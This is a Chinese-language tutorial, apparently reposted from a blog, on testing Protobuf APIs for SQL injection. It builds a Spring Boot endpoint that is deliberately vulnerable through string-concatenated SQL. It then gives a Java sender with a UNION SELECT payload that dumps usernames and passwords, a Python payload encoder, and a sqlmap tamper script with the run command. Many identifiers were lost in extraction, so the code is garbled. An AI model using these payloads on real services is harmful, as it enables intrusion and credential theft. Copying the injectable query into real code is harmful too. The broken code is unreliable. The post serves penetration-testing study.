ProtobufAPI安全测试启示

ProtobufAPI安全测试启示

2023年7月10日发(作者:)

ProtobufAPI安全测试启⽰ProtoBuf介绍protocol buffers 是⼀种语⾔⽆关、平台⽆关、可扩展的序列化结构数据的⽅法,它可⽤于(数据)通信协议、数据存储等。Protocol Buffers 是⼀种灵活,⾼效,⾃动化机制的结构数据序列化⽅法-可类⽐ XML,但是⽐ XML 更⼩(3 ~ 10倍)、更快(20 ~ 100倍)、更为简单。因此具有以下特点:语⾔⽆关、平台⽆关。即 ProtoBuf ⽀持 Java、C++、Python 等多种语⾔,⽀持多个平台⾼效。即⽐ XML 更⼩(3 ~ 10倍)、更快(20 ~ 100倍)、更为简单扩展性、兼容性好。你可以更新数据结构,⽽不影响和破坏原有的旧程序

Java API环境编写这⾥使⽤的环境是ProtoBuf 3.12.0 uf protobuf-java 3.12.0商定的Proto协议如下,并将其放到resource⽬录下syntax="proto2";package ;option java_package = "";option java_multiple_files=true;option java_outer_classname="User";message UserInfo{ optional string name = 1;}

如果不想通过protoc的⼆进制⽂件来⽣成对应的Java⽂件,可以跟我⼀样通过Maven插件的⽅式来⾃⽣成Java⽂件。⾸先添加如下插件内容到⽂件中 os-maven-plugin spring-boot-maven-plugin s protobuf-maven-plugin 0.6.1 uf:protoc:3.12.0:exe:${fier} grpc-java :protoc-gen-grpc-java:1.32.1:exe:${fier} src/main/resources src/main/java false compile compile-custom 添加完成之后,打开IDEA,找到Maven中的Protobuf插件直接双击,⽣成好的Java代码就会输出到outputDirectory元素指定的位置之后模拟真实环境编写⼀个数据库查询管理员信息的API接⼝package ller;import dProtocolBufferException;import fo;import ByName;import red;import tion.*;import 64;import ;@RestController@RequestMapping("/")public class ProtoController { @Autowired private SearchByName searchByName; @GetMapping("/show") @ResponseBody public String show() { return "Hello World"; } @ResponseBody @PostMapping("/search") public String SearchByUsername(@RequestBody String body){ //Base64 解密 byte[] bytes = oder().decode(body); try { UserInfo info = rom(bytes); List rs = t(e()); return ng(); }catch (InvalidProtocolBufferException e){ tackTrace(); } return "haha"; }}

getList的实现代码如下:package e;import ;import red;import mplate;import per;import e;import Set;import eption;import ist;import ;@Servicepublic class SearchByName { @Autowired private JdbcTemplate jdbcTemplate; public List getList(String name) { String sql = "select id,username,email,role from user where username = '" + name + "'"; return (List) (sql, new RowMapper() { @Override public String mapRow(ResultSet rs, int rowNum) throws SQLException { List listOfUserInfo = new ArrayList<>(); (f(("id"))); (ing("username")); (ing("email")); (ing("role")); return String(listOfUserInfo); } }); }}

⾄此整个环境就搭建完成。

Burp安装Protobuf解析插件这⾥我⽤的是Burp的python插件,在捕获请求的时候就会解析对应的protobuf数据流并呈现对应的键值。设置好burp插件但是还是发现有些许错误导致插件安装失败,这⾥我将我遇到的坑也记录下来UnicodeDecodeError: 'unicodeescape' codec can't decode bytes in position 1-7: illegal Unicode character错误是在protobuf/python/google/protobuf/internal/⽂件的92⾏_SURROGATE_PATTERN = e(six.u(r'[ud800-udfff]'))我的解决⽅案就是将[ud800-udfff]改成[ud800-udfff],再然后就是burp安装插件的时候Error输出Error calling protoc:原因是没有找到你本地的protoc⼆进制⽂件在py⽂件中将所有的路径前⾯都加上绝对路径就可以了

⼿动解析Protobuf数据流但是不知道为何,我的ProtoBuf⼀直提⽰"Failed to parse input."。所以我这⾥就只好⾃⼰⼿动解析(说是⼿动解析,其实只是阅读了依葫芦画瓢写的)protoc的--decode_raw参数是可以将获取的数据流信息以格式化的⽅式呈现出来可以看到burp插件的关键代码中解析格式的源码如上图所⽰编写解析代码如下:import base64import subprocesstry: decoded_bytes = base64.b64decode("CgVhZG1pbg==") process = (['F:Program ', '--decode_raw'], stdin=, stdout=, stderr=) output, error = icate(decoded_bytes) print ("Result:n" + str(output))except KeyboardInterrupt: pass

编写注⼊脚本针对刚才的环境编写对应的数据包修改发送⼯具import fo;import okhttp3.*;import ption;import 64;public class TestMain { public static void main(String[] args) { r builder = lder(); e("admin' and 1=2 union select 1,group_concat(id,";",username,";",password,"="),3,4 from user #"); UserInfo userInfo = (); n("Send Payload:"+e()); //序列化 byte[] bytes = Array(); //Base64 加密 String encoded = oder().encodeToString(bytes); sendPost(encoded); } public static void sendPost(String payload) { OkHttpClient client = new OkHttpClient().newBuilder() .build(); MediaType mediaType = ("text/plain"); RequestBody body = (mediaType, payload); Request request = new r() .url("localhost:8080/search") .method("POST", body) .addHeader("Content-Type", "text/plain") .build(); try { Response response = l(request).execute(); n("Rs:"+().string()); }catch (IOException e){ tackTrace(); } }}成功列出数据库中所有的账号密码,这个过程唯⼀重要的就是需要⼈⼯⾃⼰解释Proto⽂件的格式syntax="proto2";package vuln;message Msg{ optional string username = 1;}然后执⾏ -I=. --python_out=. ./会⽣成⼀个msg_⽂件编写⼀个Python的Payload⽣成脚本:from base64 import b64encode, b64decodeimport msg_pb2import structdef encode(array): products = msg_() for arr in array: me = str(arr) serializedString = izeToString() serializedString = b64encode(serializedString).decode("utf-8") return serializedStringpayload = encode([('admin' and 1=2 union select 1,group_concat(id,";",username,";",password,"="),3,4 from user #')])print(payload) 编写Sqlmap的Tamper编写Tamper最主要的就是重写tamper函数,函数原型如下:def tamper(payload, **kwargs)这⾥的kwargs是⼀个字典,结构如下{'headers': {}, 'delimiter': '&', 'hints': {}}eaders就是⾃定义的请求头,⽽payload就是需要修改的payload。根据上个⼩节的python⽣成payload脚本修改,编写如下tamperfrom import kbfrom import PRIORITYimport base64import structimport msg_pb2__priority__ = Tdef dependencies(): passdef tamper(payload, **kwargs): retVal = payload if payload: # Instantiating objects products = msg_()

me = payload # Encoding the serialized string in base64 serializedString = izeToString() b64serialized = base64.b64encode(serializedString).decode("utf-8") retVal = b64serialized return retVal将编写好的tamper和proto⽣成的py⽂件⼀起放⼊sqlmap的tamper⽬录下并添加⼀个⽂本POST /search HTTP/1.1Host: localhost:8080Content-Type: application/x-protobufContent-Length: 128*然后运⾏sqlmappython -r E: --tamper=protobuf_base64 --level 3 --dbs

Reference

发布者:admin,转转请注明出处:http://www.yc00.com/xiaochengxu/1688932843a185004.html

相关推荐

发表回复

评论列表(0条)

  • 暂无评论

联系我们

400-800-8888

在线咨询: QQ交谈

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息

关注微信